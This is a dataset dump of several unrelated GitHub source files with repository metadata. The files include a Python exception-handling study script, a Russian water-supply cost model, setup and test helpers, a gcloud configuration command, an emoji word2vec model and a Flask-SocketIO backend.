f37475a030cf20a958aac41d321e139d6706ce3b | 4a6f33d0665e3ef44f55602a385d7c2aebe3e095 | /tryexc.py | 9f433dc07f0d97ba4595c605f3fea62e83e100fb | [] | no_license | iloveyouchaofan/Pylearn | 25f426cae4b2b8c3ac366b684819afc305a2d5fc | a628d12bd991e8e71611ea09859e6c0cb0069076 | refs/heads/master | 2020-03-27T23:29:50.592165 | 2018-09-11T00:39:47 | 2018-09-11T00:39:47 | 147,322,226 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,045 | py | #tryexc.py
'''
1、内置错误
官方文档,标准库第5节
2、错误处理
try
except
finaly
3、错误捕获
首先要预判可能出现的错误类型
解释器层面是如何实现的?
自定义错误类型呢?
'''
try:
if True:
raise LALAEr #制造一个错误!LALAEr不存在!
'''
抛出错误的信息分两个部分:
1、错误类型:NameError
2、错误描述:name 'e' is not defined
合起来就是完整的错误信息:
NameError: name 'e' is not defined
其实,
错误类型是一个类
as e 是把这个类实例化了
因此,e也就包含其中的内容了!
'''
except NameError as e:
print('e的是什么?:', type(e))
print('Catch an Eorro', e)
'''
一条语句匹配多条错误类型
用()包含起来
多个except
'''
print('lala') #except不过后继续执行该语句!
#疑问
'''
1、如何抛出错误?
如何自定义错误?
return 是不是只返回一个信息?内容是错误的信息?
2、如何捕获错误?
''' | [
"42942140+iloveyouchaofan@users.noreply.github.com"
] | 42942140+iloveyouchaofan@users.noreply.github.com |
ce15a2c788b6fc97e976ebdd0a17dcdda74f20b8 | 67b440e37a6a613a9bb11f47fee1e0cf9531001b | /scripts/dict/amber_model_building_water.py | 167d4436fd4089249adf54e759f433ac3b4eeb20 | [
"WTFPL"
] | permissive | 09alpha/amber-in-the-dark | 96d8b93136ce749161b7c4ae2942e1feb95dd8c6 | 5183737ef71e87ebc9dd2d2ea729c928052310e7 | refs/heads/master | 2020-06-12T18:58:48.708114 | 2019-06-28T01:50:48 | 2019-06-28T01:50:48 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 29,729 | py | #----
# Водоснабжение (коррекция величин):
metadict_model['-Городское водоснабжение (литр)'] = {
'-Городское водоснабжение (кубометр)':1 / 1000,
}
metadict_model['-Сельское водоснабжение (литр)'] = {
'-Сельское водоснабжение (кубометр)':1 / 1000,
}
metadict_model['-Городское водоснабжение (кубометр)'] = {
'Городское водоснабжение (кубометр/сутки)':1 / 360,
'Вода водопроводная (кубометр)':1,
}
metadict_model['-Сельское водоснабжение (кубометр)'] = {
'Сельское водоснабжение (кубометр/сутки)':1 / 360,
'Вода колодезная (кубометр)':1,
}
#----
# Городской водопровод:
metadict_model['Сельское водоснабжение (кубометр/сутки)'] = {
# Производительность 0.5-3 кубометра/час (42 кубометра/сутки)
# Используется на 15%
'Шахтный колодец (эксплуатация)':1 / 42 / 0.15,
}
metadict_model['Шахтный колодец (эксплуатация)'] = {
'Отделка шахтного колодца':1,
'Обслуживание шахтных колодцев':1,
'Строительство шахтных колодцев':1 / 30,
}
metadict_model['Обслуживание шахтных колодцев'] = {
# Исправить
# Ремонт и чистка фильтра.
}
metadict_model['Строительство шахтных колодцев'] = {
'Шахтный колодец (смета)':1,
}
#----
# Городской водопровод:
metadict_model['Городское водоснабжение (кубометр/сутки)'] = {
# Водопровод рассчитан на очистку 3500 кубометров/сутки
# При этом используется на 75%
'Городской водопровод (эксплуатация)':1 / 3500 / 0.75,
}
metadict_model['Городской водопровод (эксплуатация)'] = {
'Обслуживание городского водопровода':1,
'Строительство городского водопровода':1 / 30,
}
metadict_model['Обслуживание городского водопровода'] = {
# Исправить
# Перенеси сюда оборудование водопровода.
# Фильтры чистят и пополняют раз в несколько месяцев.
# https://ru.wikisource.org/wiki/ЭСБЕ/Снабжение_городов_водой
# https://ru.wikisource.org/wiki/ЭСБЕ/Фильтр
# Питерский водопровод начала 1920-х годов -- 1000 вёдер воды требует 15 минут времени рабочих
# http://istmat.info/node/27934
# Тысяча вёдер, это 12.3 тонн воды, 49.2 тонны/час работы (0.02 нормо-часа/тонну)
# В сутки 3500 тонн воды, 360 дней в году.
'_-Работа водопроводчика (нормо-часов)':3500 * 0.02 * 360,
}
metadict_model['Строительство городского водопровода'] = {
'Городской водопровод (смета)':1,
}
#----
# Строительство, городской водопровод:
# СП 31.13330.2012 Водоснабжение. Наружные сети и сооружения.
# http://docs.cntd.ru/document/1200093820
# СНиП 2.04.02-84* ВОДОСНАБЖЕНИЕ НАРУЖНЫЕ СЕТИ И СООРУЖЕНИЯ
# http://soyuzproekt.ru/ntd/879.htm
# Н. Н. АБРАМОВ "Водоснабжение"
# http://www.bibliotekar.ru/spravochnik-15/index.htm
metadict_model['Городской водопровод (смета)'] = {
# https://ru.wikisource.org/wiki/ЭСБЕ/Снабжение_городов_водой
# https://ru.wikipedia.org/wiki/Московский_водопровод
# Третий мытищинский водопровод
# https://alex-avr2.livejournal.com/212771.html
# http://tmp.avr.net.ru/m3/zimin1908.pdf
# Московский водопровод
# https://alex-avr2.livejournal.com/95935.html
# https://alex-avr2.livejournal.com/95734.html
'Конструкция городского водопровода (смета)':1,
#'Оборудование городского водопровода':1,
#'Отделка городского водопровода':1,
}
metadict_model['Конструкция городского водопровода (смета)'] = {
# Исправить
# Нужны выпуски в нижней части сети и воздушные вантузы в верхней.
# В московском водопроводе 1900 года масса уличных труб была в 4 раза больше, чем городских.
# Размеры города (10 000 жителей) 500x2500 метров (5x10 кварталов)
# Городской водопровод ведёт от водозабора к водоочистной и водонапорной станции.
# Районные водопроводы пересекают город поперёк в 3 местах и замыкают кольцо.
# Уличные водопроводы пересекают город вдоль (по одному на каждую улицу)
'Водозаборная станция (смета)':1,
'Водоочистная станция (смета)':1,
'Водонапорная станция (смета)':1,
'Водоподъёмная станция (смета)':2,
'Водопровод городской (метр)':1000 + 1000,
'Водопровод районный (метр)':1000 + (1000 + 1500) * 2,
'Водопровод уличный (метр)':14 * 2500,
}
#----
# Строительство, водоочистные станции:
metadict_model['Водоочистная станция (смета)'] = {
# https://ru.wikisource.org/wiki/ЭСБЕ/Фильтр
# https://ru.wikipedia.org/wiki/Медленные_фильтры
'Конструкция водоочистной станции':1,
#'Оборудование водоочистной станции':1,
#'Отделка водоочистной станции':1,
}
metadict_model['Конструкция водоочистной станции'] = {
# http://www.another.kiev.ua/starinnoe-podzemnoe-vodoxranilishhe-xix-veka-v-kieve/
# https://mishanik-210.livejournal.com/1586.html
# -------------------------------|
# |..............................|
# |..............................|
# |==============================|
# |..............................|
# |..............................|
# |==============================|
# |..............................|
# |..............................|
# |==============================|
# |..............................|
# |..............................|
# -------------------------------|
'Внешняя стена водного резервуара (метр)':(61 * 2) + (6 * 2) * 4,
'Камера водного резервуара (6x60x3 метра)':4,
'Перегородка водного резервуара (метр)':60 * 3,
}
metadict_model['Оборудование водоочистной станции'] = {
'Медленный фильтр (6x60 метров)':4,
}
metadict_model['Медленный фильтр (6x60 метров)'] = {
# Камера 6x60x3 метра, площадь фильтра 360 кв.метров (860 кубометров/сутки)
'-Очистка воды (кубометров/сутки)':2.4 * (6 * 60),
'Медленный фильтр (квадратный метр)':6 * 60,
}
#----
# Строительство, водозаборные станции:
metadict_model['Водозаборная станция (смета)'] = {
# Исправить
# Допиливай. Ничего сложного же!
#'Конструкция водозаборной станции':1,
#'Оборудование водозаборной станции':1,
#'Отделка водозаборной станции':1,
}
#----
# Строительство, водоподъёмные станции:
metadict_model['Водоподъёмная станция (смета)'] = {
# Исправить
# Допиливай. Ничего сложного же!
#'Конструкция водоподъёмной станции':1,
#'Оборудование водоподъёмной станции':1,
#'Отделка водоподъёмной станции':1,
}
#----
# Строительство, водонапорные станции:
metadict_model['Водонапорная станция (смета)'] = {
# Заглублённый бассейн, должен стоять метров на 20 выше города.
# Сглаживает дневной пик потребления воды, облегчая работу насосам.
'Конструкция водонапорной станции':1,
#'Оборудование водонапорной станции':1,
#'Отделка водонапорной станции':1,
}
metadict_model['Конструкция водонапорной станции'] = {
# Резервуар 18x30x3 метров.
# ----------------|
# |...............|
# |...............|
# |===============|
# |...............|
# |...............|
# |===============|
# |...............|
# |...............|
# ----------------|
'Внешняя стена водного резервуара (метр)':(31 * 2) + (6 * 2) * 3,
'Камера водного резервуара (6x30x3 метра)':3,
'Перегородка водного резервуара (метр)':30 * 3,
}
metadict_model['Оборудование водонапорной станции'] = {
'Водный резервуар (6x30x3 метров)':3,
}
metadict_model['Водный резервуар (6x30x3 метров)'] = {
'-Хранение питьевой воды (кубометров)':6 * 30 *3,
}
#----
# Строительство, водопроводы:
metadict_model['Водопровод магистральный (метр)'] = {
# Исправить
# Допиливай. Полоностью перепили!
# Трубопрвод должен быть железобетонным/глиняным/кирпичным.
# Своды в два кирпича. Обязательно бутовое/щебёночное основание.
# Простой траншеей тут не обойтись.
# 200 000 жителей (5500 кубометров/час)
# Диаметр трубы (внутренний) 1.4 метра (наружный 2 метра). Профиль траншеи: 2x3x5.
# Площадь трапеции: S = 1/2 * (a + b) * h
'Траншея (кубометр)':(1/2 * (2 + 3) * 5),
'Насыпь (кубометр)':(1/2 * (2 + 3) * 5) - 3.14159265 * (2 / 2) ** 2,
'Устройство 1400-мм кирпичной водопропускной трубы (метр)':1,
'Устройство гравийного основания под трубопроводы (кубометр)':2,
}
metadict_model['Водопровод городской (метр)'] = {
# 20 000 жителей (450 кубометров/час)
# Диаметр трубы (внутренний) 0.4 метра (наружный 0.43 метра). Профиль траншеи: 0.8x2x3.
'Разборка щебёночного шоссе (квадратный метр)':2,
'Траншея (кубометр)':(1/2 * (0.8 + 2) * 3),
'Прокладка 400-мм водопровода (метр)':1,
'Установка фасонных частей 400-мм водопровода (штук)':1 / 20,
'Насыпь (кубометр)':(1/2 * (0.8 + 2) * 3) \
- 3.14159265 * (0.43 / 2) ** 2,
'Вывоз грунта (кубометр)':3.14159265 * (0.43 / 2) ** 2,
'Восстановление щебёночного шоссе (квадратный метр)':2,
}
metadict_model['Водопровод районный (метр)'] = {
# 5000 жителей (113 кубометров/час)
# Диаметр трубы (внутренний) 0.2 метра (наружный 0.23 метра). Профиль траншеи: 0.6x2x3.
'Разборка булыжной мостовой (квадратный метр)':2,
'Траншея (кубометр)':(1/2 * (0.6 + 2) * 3),
'Прокладка 200-мм водопровода (метр)':1,
'Установка фасонных частей 200-мм водопровода (штук)':1 / 20,
'Насыпь (кубометр)':(1/2 * (0.6 + 2) * 3) \
- 3.14159265 * (0.23 / 2) ** 2,
'Вывоз грунта (кубометр)':3.14159265 * (0.23 / 2) ** 2,
'Восстановление булыжной мостовой (квадратный метр)':2,
}
metadict_model['Водопровод уличный (метр)'] = {
# 1000 жителей (28 кубометров/час)
# Диаметр трубы (внутренний) 0.1 метра (наружный 0.12 метра). Профиль траншеи: 0.5x2x3.
'Разборка булыжной мостовой (квадратный метр)':2,
'Траншея (кубометр)':(1/2 * (0.5 + 2) * 3),
'Прокладка 100-мм водопровода (метр)':1,
'Установка фасонных частей 100-мм водопровода (штук)':1 / 20,
'Насыпь (кубометр)':(1/2 * (0.5 + 2) * 3) \
- 3.14159265 * (0.12 / 2) ** 2,
'Вывоз грунта (кубометр)':3.14159265 * (0.12 / 2) ** 2,
'Восстановление булыжной мостовой (квадратный метр)':2,
}
#----
# Строительство, сбор дождевой воды:
metadict_model['Водоотвод с крыши (8x8 метров)'] = {
# https://upload.wikimedia.org/wikipedia/commons/1/15/Wei%C3%9Fes_Wohnhaus_in_Schwetzingen_2010.JPG
# 1) Желоб из оцинкованной стали
# 2) Водопроводная труба с крыши
# 3) Цистерна для воды на подставке
# 4) Водопроводная труба в дом
# Можно собрать 60-80% выпадающей влаги:
# https://ru.wikisource.org/wiki/ЭСБЕ/Снабжение_городов_водой
# При осадках в 800 мм/год за сутки это даёт: 0.8 / 360 * (8 * 8) * 0.7 = 0.1 кубометра
'Прокладка 150-мм водосточной трубы (метр)':6 + 1,
'Кровля из оцинкованной стали (квадратный метр)':(8 + 8) * 2 * 0.2,
}
#----
# Строительство, шахтные колодцы:
metadict_model['Шахтный колодец (смета)'] = {
# Производительность 0.5-3 кубометра/час
# https://ru.wikisource.org/wiki/ЭСБЕ/Снабжение_городов_водой
# https://www.parthenon-house.ru/content/articles/index.php?article=5155
# http://gardenweb.ru/shakhtnye-kolodtsy
'Конструкция шахтного колодца':1,
#'Оборудование шахтного колодца':1,
#'Отделка шахтного колодца':1,
}
metadict_model['Конструкция шахтного колодца'] = {
# http://www.mukhin.ru/stroysovet/voda/2_06.html
# 1) Котлован с диаметром 3.25 метра и глубиной 1.5 метра.
# 2) Слой глины 1-2 метра вокруг скважины до глубины 1.5 метра.
# 3) Копание колодца с диаметром 1.25 метра на грубину 15 метров.
# 4) Кирпичная кладка в 1 кирпич (площадь вычисляем по периметру и глубине шахты)
# 6) Глино-соломенная кровля (конусообразная, высотой в 1.5 метра)
# 7) Вентиляция шахты.
'Котлован (кубометр)':3.14159265 * (((1.250 + 2) / 2) ** 2) * 1.5,
'Устройство глиняного замка (кубометр)':(3.14159265 * (((1.250 + 2) / 2) ** 2) * 1.5) \
- (3.14159265 * ((1.250 / 2) ** 2)) * 1.5,
'Сооружение шахтных колодцев копателем (кубометр)':(3.14159265 * ((1.250 / 2) ** 2)) * 15,
'Вывоз грунта (кубометр)':3.14159265 * (((1.250 + 2) / 2) ** 2) * 1.5 \
+ (3.14159265 * ((1.250 / 2) ** 2)) * 15,
'Кирпичная кладка сводов в 1 кирпич (квадратный метр)':(2 * 3.14159265 * (1.250 / 2)) * 15,
'Простая стропильная система (2x2 метра)':1,
'Соломенная кровля (квадратный метр)':3.14159265 * ((1.250 + 0.75) / 2) * 1.5,
'Прокладка 150-мм вытяжной трубы (метр)':2,
}
metadict_model['Оборудование шахтного колодца'] = {
'Устройство донного фильтра копателем (штука)':1,
'Медленный фильтр (квадратный метр)':(3.14159265 * ((1.250 / 2) ** 2)),
}
metadict_model['Отделка шахтного колодца'] = {
'|Механический насос (35 литров/минуту)':1,
'|Лампа светляковая (1200 Лм)':1,
'|Деревянная кадка (300 литров)':1,
'|Деревянная бочка (300 литров)':1,
'|Деревянное ведро (10 литров)':1,
}
#----
# Компостные ямы:
metadict_model['Люфт-клозет'] = {
# http://www.bibliotekar.ru/spravochnik-81/29.htm
# Нехитрая система, где сточные воды кое-как очищаются и уходят в почву,
# А твёрдые отходы остаются в ближней камере компостной ямы.
'Конструкция люфт-клозета':1,
'Оборудование люфт-клозета':1,
}
metadict_model['Конструкция люфт-клозета'] = {
'Внешняя стена компостной ямы (метр)':(4 * 1) * 2,
'Камера компостной ямы (4x1x2 метра)':1,
}
metadict_model['Оборудование люфт-клозета'] = {
'Прокладка 150-мм трубопровода канализации (метр)':6,
'Медленный фильтр (квадратный метр)':2,
}
metadict_model['Внешняя стена компостной ямы (метр)'] = {
# Исправить
# Высота должна увеличиваться, наклон же.
# Профиль траншеи: 0.5x1x2.
# Площадь трапеции: S = 1/2 * (a + b) * h
'Траншея (кубометр)':(1/2 * (0.5 + 1) * 1.5),
'Обваловка (кубометр)':0.5 * (1/2 * (0.5 + 1) * 1.5),
'Вывоз грунта (кубометр)':0.5 * (1/2 * (0.5 + 1) * 1.5),
'Устройство основания под фундаменты (кубометр)':0.5 * 0.25,
'Устройство каменного ленточного фундамента (кубометр)':0.25 * 1.25,
'Гидроизоляция боковая цементная с жидким стеклом (квадратный метр)':2,
'Устройство глиняного замка (кубометр)':2 * 0.2,
}
metadict_model['Камера компостной ямы (4x1x2 метра)'] = {
# ------
# |== |
# ------
'Котлован (кубометр)':4 * 2,
'Вывоз грунта (кубометр)':0.75 * 4 * 2,
'Устройство подстилающего слоя (кубометр)':4 * 0.25,
'Гидроизоляция горизонтальная цементная с жидким стеклом (квадратный метр)':2,
'Устройство дощатых перегородок (квадратный метр)':4,
'Насыпь (кубометр)':0.25 * 4 * 2,
}
#----
# Сложные элементы зданий:
metadict_model['Камера водного резервуара (6x60x3 метра)'] = {
# 1) Котлован 6x60x4 и столбчатый фундамент из бутового камня.
# 2) Глиняно-печанное подстилающий слой и плита из железобетона.
# 3) 36 кирпичных столбов и два полуцилиндрических свода.
# 4) Насыпь из 0.25 извлечённого грунта, 0.75 на вывоз.
# https://upload.wikimedia.org/wikipedia/commons/5/54/Brockhaus_and_Efron_Encyclopedic_Dictionary_b70_862-2.jpg
# |====1==1==1==1==1==1==1==1==1==1==1==1==1==1==1==1==1==1====|
# |............................................................|
# |............................................................|
# 0....1..1..1..1..1..1..1..1..1..1..1..1..1..1..1..1..1..1....0
# |............................................................|
# |............................................................|
# --------------------------------------------------------------
'Котлован (кубометр)':(6 * 60 * 4) \
+ 36 * (1.2 * 1.2 * 1),
'Вывоз грунта (кубометр)':0.75 * ((6 * 60 * 4) \
+ 36 * (1.2 * 1.2 * 1)),
'Устройство основания под фундаменты (кубометр)':36 * (1.2 * 1.2 * 0.5),
'Устройство каменного столбового фундамента (кубометр)':36 * (1.2 * 1.2 * 0.5),
'Устройство подстилающего слоя (кубометр)':(6 * 60 * 0.5) \
- 36 * (1.2 * 1.2 * 0.5),
'Железобетон тяжёлый (кубометр)':(6 * 60 * 0.5) \
- 36 * (0.8 * 0.8 * 0.5),
'Гидроизоляция горизонтальная цементная с жидким стеклом (квадратный метр)':(6 * 60) \
- 36 * (0.8 * 0.8),
'Кирпичная кладка столбов в 3 кирпича (метр)':36 * 0.5,
'Кирпичная кладка столбов в 2 кирпича (метр)':36 * 3,
'Кирпичная кладка сводов в 0.5 кирпича (квадратный метр)':2 * (3.14159265 * 1.5) * 60,
'Насыпь (кубометр)':0.25 * ((6 * 60 * 4) \
+ 36 * (1.2 * 1.2 * 1)),
}
metadict_model['Камера водного резервуара (6x30x3 метра)'] = {
# |====1==1==1==1==1==1==1==1==1=|
# |..............................|
# |..............................|
# 0....1..1..1..1..1..1..1..1..1.0
# |..............................|
# |..............................|
# --------------------------------
'Котлован (кубометр)':(6 * 30 * 4) \
+ 18 * (1.2 * 1.2 * 1),
'Вывоз грунта (кубометр)':0.75 * ((6 * 30 * 4) \
+ 18 * (1.2 * 1.2 * 1)),
'Устройство основания под фундаменты (кубометр)':18 * (1.2 * 1.2 * 0.5),
'Устройство каменного столбового фундамента (кубометр)':18 * (1.2 * 1.2 * 0.5),
'Устройство подстилающего слоя (кубометр)':(6 * 30 * 0.5) \
- 18 * (1.2 * 1.2 * 0.5),
'Железобетон тяжёлый (кубометр)':(6 * 30 * 0.5) \
- 18 * (0.8 * 0.8 * 0.5),
'Гидроизоляция горизонтальная цементная с жидким стеклом (квадратный метр)':(6 * 30) \
- 18 * (0.8 * 0.8),
'Кирпичная кладка столбов в 3 кирпича (метр)':18 * 0.5,
'Кирпичная кладка столбов в 2 кирпича (метр)':18 * 3,
'Кирпичная кладка сводов в 0.5 кирпича (квадратный метр)':2 * (3.14159265 * 1.5) * 30,
'Насыпь (кубометр)':0.25 * ((6 * 30 * 4) \
+ 18 * (1.2 * 1.2 * 1)),
}
metadict_model['Внешняя стена водного резервуара (метр)'] = {
# 1) Траншея и ленточный фундамент из бутового камня.
# 2) Стена высотой: 0.5 метра в основании; 3 метра до уровня воды; 1.5 метра в сводах.
# 3) Внешняя и внутренняя гидроизоляция.
# 4) Обваловка стены.
# Профиль траншеи: 1.2x3x4.5.
# Площадь трапеции: S = 1/2 * (a + b) * h
'Траншея (кубометр)':(1/2 * (1.2 + 3) * 4.5),
'Вывоз грунта (кубометр)':0.75 * (1/2 * (1.2 + 3) * 4.5),
'Устройство основания под фундаменты (кубометр)':1.2 * 0.5,
'Устройство каменного ленточного фундамента (кубометр)':1.2 * 0.5,
'Кирпичная кладка в 3 кирпича (квадратный метр)':0.5,
'Кирпичная кладка в 2.5 кирпича (квадратный метр)':3,
'Кирпичная кладка в 1.5 кирпича (квадратный метр)':1.5,
'Гидроизоляция боковая цементная с жидким стеклом (квадратный метр)':3 * 2,
'Устройство глиняного замка (кубометр)':4 * 0.5,
'Обваловка (кубометр)':0.25 * (1/2 * (1.2 + 3) * 4.5),
}
metadict_model['Перегородка водного резервуара (метр)'] = {
# Высота камеры -- 3 метра.
'Кирпичная кладка в 1.5 кирпича (квадратный метр)':3,
'Гидроизоляция боковая цементная с жидким стеклом (квадратный метр)':3 * 2,
}
metadict_model['Медленный фильтр (квадратный метр)'] = {
# Кварцевый песок (24 дюйма) -- 0.610 метра
# Крупный песок (3 дюйма) -- 0.076 метра
# Гравий (3 дюйма) -- 0.076 метра
# Крупный гравий (4 дюйма) -- 0.102 метра
# Крупный булыжник (8 дюймов) -- 0.203 метра
'Песок кварцевый (кубометр)':0.610,
'Песок крупный (кубометр)':0.076,
'Гравий мелкий (кубометр)':0.076,
'Гравий крупный (кубометр)':0.102,
'Камень бутовый (кубометр)':0.203,
}
| [
"celestia@safe-mail.net"
] | celestia@safe-mail.net |
51d68dfea5891cefb0d83811d3e1cff7af52b92b | f72ecf85bc1d6b4014af4b35f7677adb7c3a77f3 | /venv/lib/python3.7/heapq.py | c1d7b074887df5b805bb3d55fea8740954088e10 | [] | no_license | PropeReferio/covid19dashapp | cef5a803a26a00fc5a7adca57625d7f3de8710f8 | aea672aca23e0d6782080c966b24da6d826e1f91 | refs/heads/master | 2022-07-14T23:09:21.063273 | 2020-11-01T18:46:14 | 2020-11-01T18:46:14 | 253,976,374 | 0 | 0 | null | 2022-06-22T01:41:02 | 2020-04-08T03:32:05 | Python | UTF-8 | Python | false | false | 41 | py | /home/bo/anaconda3/lib/python3.7/heapq.py | [
"lemuel.b.stevens@gmail.com"
] | lemuel.b.stevens@gmail.com |
21afa786207c839e34c3139bc37d9fcc7d7a2a4f | bb568304a4633cd8edf54bbb0613c874d47e3bd8 | /setup.py | 52d1996435229bb1f3ce768df951769e1fb478db | [
"MIT"
] | permissive | disktnk/ingredient-data | 2a4ee0a970014b42bee321bd6d321dbf152f861d | fce7713f1f108784987a2c975be549189cacec57 | refs/heads/master | 2020-04-02T13:19:54.761452 | 2018-11-05T08:49:22 | 2018-11-05T08:49:22 | 154,476,950 | 0 | 0 | MIT | 2018-11-05T08:49:23 | 2018-10-24T09:46:59 | Python | UTF-8 | Python | false | false | 516 | py | from setuptools import setup
setup(
name='ingredient-data',
version='0.2.0',
description='summarize ingredients tool',
author='Daisuke Tanaka',
author_email='duaipp@gmail.com',
url='https://github.com/disktnk/ingredient-data',
packages=['src'],
entry_points={
'console_scripts': ['ingred-data=src.show:main']
},
install_requires=[
'texttable>=1.4.0',
'zenhan>=0.5.2',
'pandas>=0.23.4',
'openpyxl>=2.5.9'
],
test_require=[],
)
| [
"duaipp@gmail.com"
] | duaipp@gmail.com |
3a185094a42bcacc0f527c074fb277b40c0e85e6 | 5be61a1c1dbb7de2bdb062dbcf7be80e6f843d68 | /opsi/tests/util.py | ed8a143be7ce782ccfb94de292ff75c6ae7871ad | [
"MIT",
"LicenseRef-scancode-proprietary-license",
"CC-BY-4.0"
] | permissive | opensight-cv/opensight | 02cab11bce3e34f43e7e1242b101413c3f8a6fa7 | 1e10d31f389aa7f1bc9d337d12cb846d71cf0cc4 | refs/heads/dev | 2023-06-09T08:34:20.853956 | 2020-07-19T20:27:56 | 2020-07-19T20:27:56 | 192,662,627 | 51 | 12 | MIT | 2023-06-05T19:31:59 | 2019-06-19T05:12:08 | Python | UTF-8 | Python | false | false | 523 | py | from unittest.mock import MagicMock, patch
import pytest
def create_program():
from opsi.lifespan.lifespan import Lifespan
from opsi.manager.program import Program
lifespan = MagicMock(spec_set=Lifespan)
program = Program(lifespan)
return program
# If mock_fifolock is imported in a test.py,
# then every test in it will be run with this mock applied
@pytest.fixture(autouse=True)
def mock_fifolock():
with patch("opsi.util.concurrency.FifoLock", autospec=True, spec_set=True):
yield
| [
"5725958+dzil123@users.noreply.github.com"
] | 5725958+dzil123@users.noreply.github.com |
f7931575c366e22a71c78e7146d1397848ab5a87 | 92bf9ddd7b92e7ed73fa6989164700b2be3657b8 | /Project1/download/google-cloud-sdk/.install/.backup/lib/surface/config/configurations/describe.py | 0b368769e222fe9b76407d71ace98df3c1c32661 | [
"LicenseRef-scancode-unknown-license-reference",
"Apache-2.0"
] | permissive | bopopescu/8220-lab | bc991424557ff46f325d4611a84d02560ba5a6cb | 3f0ca82028962e5b1c0f4a2c4a2390ce6603e11c | refs/heads/master | 2022-11-19T22:31:54.741707 | 2018-01-07T16:56:47 | 2018-01-07T16:56:47 | 282,337,970 | 0 | 0 | null | 2020-07-25T00:01:24 | 2020-07-25T00:01:23 | null | UTF-8 | Python | false | false | 2,295 | py | # Copyright 2015 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Command to describe named configuration."""
from googlecloudsdk.calliope import base
from googlecloudsdk.core import log
from googlecloudsdk.core import named_configs
from googlecloudsdk.core import properties
class Describe(base.Command):
"""Describes a named configuration by listing its properties."""
detailed_help = {
'DESCRIPTION': """\
{description}
See `gcloud topic configurations` for an overview of named
configurations.
""",
'EXAMPLES': """\
To describe esisting named configuration, run:
$ {command} my_config
This is similar in content to:
$ gcloud config configurations activate my_config
$ gcloud config list
""",
}
@staticmethod
def Args(parser):
"""Adds args for this command."""
parser.add_argument(
'configuration_name',
help='Configuration name to descrive')
parser.add_argument(
'--all', action='store_true',
help='Include unset properties in output.')
def Run(self, args):
fname = named_configs.GetPathForConfigName(args.configuration_name)
if not named_configs.IsPathReadable(fname):
raise named_configs.NamedConfigLoadError(
'Reading named configuration [{0}] failed because [{1}] cannot '
'be read.'.format(args.configuration_name, fname))
return properties.VALUES.AllValues(
list_unset=args.all,
properties_file=properties.PropertiesFile([fname]),
only_file_contents=True)
def Display(self, _, result):
if not result:
log.err.Print('(empty configuration)')
properties.DisplayProperties(log.out, result)
| [
"yitianl@g.clemson.edu"
] | yitianl@g.clemson.edu |
df27033b79e4ad322e71e624389975cca3530201 | 100f5373c752b32daabb7888afd9228b3e4c685c | /model.py | 5d03a837a96c8d208162e9e5e2a6532d76164f72 | [
"MIT"
] | permissive | ergeda/emoji2vec | 5a283402f96e06778fc2fba687cc5c7246393c77 | cc13a09558ea9d6509cf6fffa2a70780e467bec6 | refs/heads/master | 2021-09-05T06:02:15.689957 | 2018-01-24T15:58:26 | 2018-01-24T15:58:26 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,174 | py | from gensim.models import *
from util import *
class EmojiModel():
def __init__(self):
self.model = Word2Vec.load('data/word2vec.bin')
def predict(self, pos, neg='', emoji=True):
pos = pos.lower().strip().split()
neg = neg.lower().strip().split()
print('query + {} - {}'.format(pos, neg))
results = self.model.most_similar(positive=pos, negative=neg, topn=10000)
# filter out emoji text
if emoji:
results = [x for x in results if is_emoji(x)]
# round the floating number for similarity
results = [(x[0], round(x[1], 2)) for x in results]
return results
def similarity(self, x, y):
print('similarity: {} - {}'.format(x, y))
return self.model.wv.similarity(x, y)
if __name__ == "__main__":
model = EmojiModel()
print(model.predict('king woman', 'man', emoji=False)[:5])
print(model.predict('china tokyo', 'beijing', emoji=False)[:5])
print(model.predict('dog cats', 'dogs', emoji=False)[:5])
print(model.similarity('cat', 'kitten'))
print(model.predict('happy new year')[:5])
print(model.predict('king woman', 'man')[:5]) | [
"jiayao@microsoft.com"
] | jiayao@microsoft.com |
638ec4e21de9ed2ea174b77788965d9b76e33280 | ffa143afa82b028398854511dfb4afce54f7294c | /SOFTWARE BACKEND/backEnd.py | 4a9297b58ad13e97960f49448e725907283a634f | [] | no_license | mmb186/FlaskApp | 60f5e577baae3f9c209468fc0f273648c84f51b9 | 3973390e9f517371f7f6bdfd4ce3b59d9bf5eb28 | refs/heads/master | 2021-05-10T07:33:20.154261 | 2018-02-25T02:15:34 | 2018-02-25T02:15:34 | 118,839,660 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,708 | py | from flask import Flask, render_template, session, request
from flask_socketio import SocketIO, send, emit #importing SocketIO class and send function.
app = Flask(__name__)
app.config['SECRET_KEY'] = 'mysecret'
socketio = SocketIO(app) #instantiating the socketIO with the app
@app.route('/')
def index():
return render_template('main.html')
@socketio.on('connect', namespace='/test')
def test_connect():
print("Clinet Connnected")
send("Client Has Connected", broadcast=True)
# emit('my_response', {'data': 'connected'}) #BroadCast that client has connected
@socketio.on('disconnect') #socket io waits/listens to a specified event here. We are Listening to standard message event.
def test_disconnect():
print('Client Disconnected')
# Messages from Pod -> Client
@socketio.on('podSensors', namespace='/test')
def test_PodSensors(message):
print("POD Data Recieved.../n sending to Client...")
emit('podData', {'data': message.data})
# emit('podData', {'data': message['data']})
# Print Received Commands and TODO: send to pod
@socketio.on('clientCommands', namespace='/test')
def test_ClientCommands(command):
print("Command Received from FRONEND:")
print(command["data"]) #NOTE: 'json' and custom events deliver a JSON payload in the form of a Python Dictionary!
# handle messages that are recieved
@socketio.on('message', namespace='/test')
def handle_message(msg):
print("Message received: " + msg)
@socketio.on('message')
def handle_message_no_namespace(msg):
print ("Message received (no_namespace): "+ msg)
if __name__ == '__main__':
socketio.run(app) #socketio takes typical flask app, and wrapps around it the socketio functionality
| [
"mmb186@mun.ca"
] | mmb186@mun.ca |
24c5484f67c0ebe9391bd91e453f7b27f8619284 | 01b7cc0017c81c99d1da1c37c6a5dcb0bf4af9a5 | /python/PythonBinding.py | d2d8ed69c64c69724515739b1392ad016908ff42 | [
"BSD-2-Clause",
"LicenseRef-scancode-unknown-license-reference"
